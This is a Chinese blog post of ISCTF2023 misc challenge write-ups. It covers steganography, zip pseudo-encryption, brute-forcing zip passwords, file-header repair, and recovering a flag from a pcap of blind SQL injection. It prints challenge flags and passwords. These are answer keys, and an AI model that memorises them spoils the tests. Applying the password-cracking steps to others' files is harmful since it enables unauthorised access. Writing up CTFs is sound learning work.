解题方法:然后多次实验最终是把“你说爱我 替换成 Ook. 尊嘟 替换成 Ook! 假嘟 替换成 OoK? “(注意:这里Ook后面的符号要用英文)
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook.
..............
进行Ook解码,得到下面这串字符:
ild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z
然后把它放进CyberChef-Magic里面进行解码,发现是base64换表:
就得到了flag
小蓝鲨的秘密(题解:张伟文)
题目描述:小蓝鲨把自己的秘密藏起来了,你能发现小蓝鲨的秘密吗?把题目附件下载下来,解压后发现需要输入密码,放进010_editor里面看一下
解题方法:在010_editor里面看到zip的标志位是09,说明可能是伪加密,找到里面伪加密的flag.txt和png文件,把09修改成 00 ,保存就可以解压了
解压后发现里面有个flag.txt和一张png图片,txt里面的内容是:
可爱的小蓝鲨不知道这个字符串是什么,强大的你,你能告诉小蓝鲨吗?
U2FsdGVkX1/ij5Hxtt6G8tDvbXIQcMLJ6isLpLmxqxW8mOmFIB4DgBGXSR3ceEcj
这里看到这个加密的开头U2FsdGVkX1,可能是AES,DES,Rabbit加密,但他们都需要密钥,说明密钥可能藏在图片里面,爆破一下图片的宽高有没有被修改
把图片放进010_editor里面修改一下他的宽高,在图片的下买就有一串字符串:
这里看着是ISCTF2023,但是都实验多次都不对,后面仔细看了一下,可能是15CTF2023,最后AES解密成功拿到flag
杰伦可是流量明星(题解:张伟文)
题目描述:flag的正确格式为ISCTF{},把附件下载下来,发现里面是一个MP3文件,以为是音频隐写,放进Audacity里面看了一下,好像并没有有什么关键信息
解题方法:把它放进010_editor里面查看一下他的十六进制,发现他的文件头是rar的压缩包文件头,说明它里面有个压缩包,可以分离出来,也可以将它的后缀改成.zip的形式
解压后发现里面有一个login的流量包,把它放进Wireshark里面看一下,抓取了一下的他的http流,搜索了一下关键字flag,找到了一个flag的信息:
将前缀改成ISCTF,就是正确的flag
easy_zip(题解:结局别说遗憾Zn.)
题目描述:小蓝鲨忘记了他的压缩包密码,这可怎么办
解题思路:点开题目链接,将下下来的压缩包放进Ziperello暴力破解一下密码
输入密码打开flag.txt,即可得到flag:
ISCTF{ac2fbd55-5717-4e41-9efb-748b33249b7e}
蓝鲨的福利(题解:张伟文)
题目描述:小蓝鲨给师傅们送福利啦!把题目附件下载下来后发现是一个没有后缀名的,把它放进010_editor里面查看一下
解题方法:在010_editor里面发现png的数据块,但是没有png的文件头
现在把它的png文件头:89 50 4E 47 补充上去,保存一下就得到flag了
打开png的图片就是flag
Ez_misc (题解:张伟文)
题目描述:ppt是个好东西呐,题目附件下载下来发现里面有一个加密的flag.zip和一个key.ppt,把flag.zip放进010_editor里面,看了一下是真加密,说明压缩包的密码在key.ppt里面
解题方法:打开ppt里面寻找一下密码,在最后一张ppt的备注里面找到了密码
把压缩包解密出来,里面有flag.jpg的图片,但是显示不出来,把它放进010_editor里面看一下,发现缺少jpg的文件头,把jpg的文件头:FF D8 FF E0 补充上去,就可以得到网站的png图片
用CQR扫一下就得到flag:
spalshes (题解:张伟文)
题目描述:提示:奇奇怪怪的数字,换个思路试试看,这里的的提示很重要,附件下载下来打开以后,里面有一个txt文档和一个真加密的压缩包,正常思路来说,压缩包密码在txt文档里面,但这里文档里面看不出什么,
解题方法:看了一下txt文档怎么也解密不出什么信息,最后想想爆破一下压缩包的密码,结果真爆破出来了
把压缩包解压出来,里面有一张二维码,用CQR扫一下就得到flag,这个题只能说迷惑性很强
PNG的基本食用(题解:张伟文)
题目描述:附件下载下来之后,打开里面有三张图片,说明每一张图片藏在一部分的flag
解题方法:把三张png的图片都进行一下宽和高的爆破,发现part1.png的宽高被修改了
在010_editor里面修改一下正确的高度就得到了flag的第一部分
在把part2和part3放进010_editor里面查看一下它的十六进制,发现part3.png里面有个7z的压缩包文件头,把part3.png的后缀改成.zip解压一下里面有个txt文档,里面有最后一部分的flag
for-you}
现在再继续来看一下part2.png的信息,猜测可能是LSB隐写,把它放进stegsolve里面,查看一下他的三原色通道信息:结合part1和part3部分联想一下,这里的so-ez-就是中间那一部分
最后他的flag就是ISCTF{png-is-so-ez-for-you}
镜流:(题解:张伟文)
题目描述:题目附件下载下来,里面有一张png的图片和一个txt的文档提示,txt文档里面写着把图片缩小10倍,这里是一个题目的提示
解题方法:我们根据它说的提示把png的图片放进010_editor里面吧它的宽和高都缩小10倍,但是保存下来发现png的图片数据损坏,最后在网上查询各种资料,找到了一个把图片缩小倍数,而且又不能损坏图片的python脚本:
from PIL import Image
img = Image.open(r'D:\桌面\timu/1new.png')
w = img.width
h = img.height
img_obj = Image.new("RGB",(w//10,h//10))
for x in range(w//10):
for y in range(h//10):
(r,g,b)=img.getpixel((x*10,y*10))
img_obj.putpixel((x,y),(r,g,b))
img_obj.save(r'D:\桌面\timu/1.png')
运行之后,发现生成了一张新的png图片
把放进kali里面,用zsteg来看一下图片里面的各种信息:
发现在 “b1,rgb,lsb,xy" 色道里面有一张png的图片,用命令给他提取出来
zsteg -e "b1,rgb,lsb,xy" 1.png>2.png
提取出来就是一张flag的png图片:
一心不可二用:(题解:张伟文)
题目描述:小辉边敲代码边玩游戏,敲了两行代码就报错了,真的比彬彬还逊!(提示很关键),下面还给了一个题目提示:远在天边,近在眼前,题目附件下载下来发现里面是一个.apk的游戏
解题方法:把.apk的文件放进jadk-gui的反编译一下,发现并没有什么有用的信息,后面把它放进010_editor里面,发现在文件开头有Pk压缩包,里面加密了一个flag.txt文档:
把.apk的文件后缀名改成.zip的文件,解压出来,在里面的文件夹里面找到了flag.zip的压缩包:
压缩包是一个真加密,打开压缩包里面,右边有一些注释
这里又想到那个提示:远在天边,近在眼前,说明压缩包的密码就在flag.zip的附近,想到题目描述哪里说的,小辉边敲代码边玩游戏,敲了两行代码就报错了,报错,压缩包这里也是一个报错提示,然后上网查了一下这个报错提示:
发现检索不到压缩包里面那个报错名,猜测这里有误的报错名可能就是压缩包的密码,最后都试了一下,发现正确的报错名SyntaxError就是压缩包的密码最后就得到flag
stream(题解:结局别说遗憾Zn.)
题目描述:一名不知好歹的黑阔攻击了你的数据库,找到他干了什么!
解题思路:用winshark打开te.pcapng文件,我们可以看到很多SQL注入语句,用ip.src==192.168.52.129 and http过滤一下:
这里我们拿一个语句举例:(图中标红SQL注入语句)
这个语句就是在这个 SQL 注入攻击中,1),1)):
中的第一个1代表选择 flag
字段的第一个字符,并判断它的 ASCII 码是否等于73,如果等于73,则说明第一个字符是 I
,而它从第一个字符的ASCII码判断到73就结束,证明第一个字符就是I
其他语句以此类推,让后我们可以看到它从第0个字符检测到了第43个字符,因此我们就是写一个脚本,将其判断的所有正确字符收集出来,脚本如下:
import re
with open("D:\Personal\Desktop\\te.pcapng", "rb") as f:
contents = f.read()
res = re.compile(r'0,1\),(\d+),1\)\)=(\d+)').findall(str(contents))
dic = {}
for a, b in res:
if a in dic:
if int(b) > dic[a]:
dic[a] = int(b)
else:
dic[a] = int(b)
flag = ""
for i in range(0,44):
flag += chr(dic[str(i)])
print(flag)
运行即可得到flag:
ISCTF{0ops!-Y0u-F1nd-Th3-S3cret-flag!!!}
张万森下雪了:(题解:张伟文)
题目描述:我可以和你一起回家看雪吗?
解题思路:根据下载文件名称,将其改为zip压缩文件,解压zip.zip压缩文件,得到一个dic.txt文件和张万森,下雪了.zip的压缩文件,打开dic.txt文件一看是个字典(文件名也可以看出),于是打开Ziperello字典破解一下密码
根据密码blueSHARK666打开张万森,下雪了.zip的压缩文件里面的flag.txt以及tip.txt,提交flag.txt文件内的flag,发现不对,又看看题目有雪,想到了snow隐写,而snow隐写需要密钥,应该就是从tip.txt文件中得到
tip.txt文件内容看其特征,是被base64加密了,对其进行base64解密,经过多次解密后,发现当第17次之后在进行第18次解码就会提示解码失败,
import base64
def multi_base64_decode(data, rounds):
decoded = data
for _ in range(rounds):
try:
decoded = base64.b64decode(decoded).decode('utf-8')
except Exception as e:
print(f"解码失败: {e}")
break
return decoded
def decode_base64_in_file(input_file, output_file, rounds):
with open(input_file, 'r') as file:
data = file.read()
decoded_data = multi_base64_decode(data, rounds)
with open(output_file, 'w') as file:
file.write(decoded_data)
# 用法示例
input_file_path = 'D:\桌面\zip\张万森,下雪了/tip.txt' # 更换成你的文件路径
output_file_path = 'D:\桌面/base1.txt' # 更换成你想保存解码结果的文件路径
num_rounds = 17 # 更改解码的轮数
decode_base64_in_file(input_file_path, output_file_path, num_rounds)
这是17次base64解码后得到的内容截图:
看到这个内容中有很多的相同字符,于是想到了字频统计
# -*- coding:utf-8 -*-
# Author: MoChu7
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()\_+-/={}[] "#所有正常打印字符
strings = open('D:\桌面/base.txt').read()#读取需要统计频数的文本
result = {}
for i in alphabet:
counts = strings.count(i)
i = '{0}'.format(i)
result[i] = counts
res = sorted(result.items(), key=lambda item: item[1], reverse=True)
num = 0
for data in res:
num += 1
print('频数第{0}: {1}'.format(num, data))
print('\n---------------以下是频数从多到少的字符,按照从前到后排序---------------')
for i in res:
flag = str(i[0])
print(flag[0], end="")
经过测试snow隐写的密钥为ISCTFZ023
(注意是Z不是2),然后再次对flag.txt里的内容进行解密:
因此正确flag为:
ISCTF{34da-a87s-sk87-s384-3982-398233}
小蓝鲨的问卷(题解:结局别说遗憾Zn.)
题目描述:请复制链接访问填写https://wj.qq.com/s2/13752419/7ft1/
解题思路:访问链接,填写完问卷即可得到:
因此flag为:
ISCTF{2024ISCTF_WELCOME_YOU}
标签:ISCTF2023,题目,题解,Ook,flag,解题,WP,里面,部分 From: https://www.cnblogs.com/xyweiwen/p/17926372.html